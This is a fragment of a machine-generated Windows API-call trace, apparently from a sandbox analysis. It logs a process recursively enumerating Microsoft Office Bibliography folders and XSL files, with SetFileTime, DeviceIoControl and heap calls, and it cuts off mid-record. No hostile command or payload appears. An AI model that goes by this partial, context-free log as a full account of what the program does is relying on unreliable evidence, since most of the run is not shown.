RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb090 [0078.202] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb090, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb090, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0078.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb090) returned 1 [0078.202] NtClose (Handle=0x164) returned 0x0 [0078.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0078.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0078.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0078.202] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0078.204] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.204] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="")) returned 1 [0078.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0078.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4e88 [0078.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3a20 [0078.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.205] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="")) returned 1 [0078.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4ea8 [0078.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3b28 [0078.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0078.206] GetLastError () returned 0x12 [0078.206] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0078.206] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0x7925, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL", cAlternateFileName="")) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21181300, ftLastWriteTime.dwHighDateTime=0x1c6a343, nFileSizeHigh=0x0, nFileSizeLow=0xfe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2XML.XSL", cAlternateFileName="")) returned 1 [0078.206] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sort", cAlternateFileName="")) returned 1 [0078.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.206] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0078.207] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb090 [0078.207] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb090, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb090, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb090) returned 1 [0078.207] NtClose (Handle=0x164) returned 0x0 [0078.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab81b0 [0078.208] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0078.208] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.208] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0078.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3c30 [0078.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4ec8 [0078.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3d38 [0078.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0078.209] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab8238) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0078.209] GetLastError () returned 0x12 [0078.209] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.209] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTHOR.XSL", cAlternateFileName="")) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAG.XSL", cAlternateFileName="")) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8c3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TITLE.XSL", cAlternateFileName="")) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 1 [0078.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cb700, ftCreationTime.dwHighDateTime=0x1c6a86d, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xff9cb700, ftLastWriteTime.dwHighDateTime=0x1c6a86d, nFileSizeHigh=0x0, nFileSizeLow=0x8bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="YEAR.XSL", cAlternateFileName="")) returned 0 [0078.209] GetLastError () returned 0x12 [0078.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab81b0) returned 1 [0078.210] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0078.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b3c30) returned 1 [0078.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.210] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0078.210] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0078.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0078.210] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0078.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0078.210] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0078.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0078.210] NtClose (Handle=0x174) returned 0x0 [0078.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0078.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0078.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab81b0 [0078.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab8238 [0078.211] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0078.213] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69c4c990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.213] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9eed00, ftLastWriteTime.dwHighDateTime=0x1ca5c5e, nFileSizeHigh=0x0, nFileSizeLow=0x5cd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL", cAlternateFileName="")) returned 1 [0078.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b3c30 [0078.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab81b0) returned 1 [0078.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4f48 [0078.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4158 [0078.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.213] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a63000, ftCreationTime.dwHighDateTime=0x1ca5c5f, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24a63000, ftLastWriteTime.dwHighDateTime=0x1ca5c5f, nFileSizeHigh=0x0, nFileSizeLow=0x5282c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab4f68 [0078.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b4260 [0078.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.214] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ddce00, ftCreationTime.dwHighDateTime=0x1c93006, ftLastAccessTime.dwLowDateTime=0x619f9510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25ddce00, ftLastWriteTime.dwHighDateTime=0x1c93006, nFileSizeHigh=0x0, 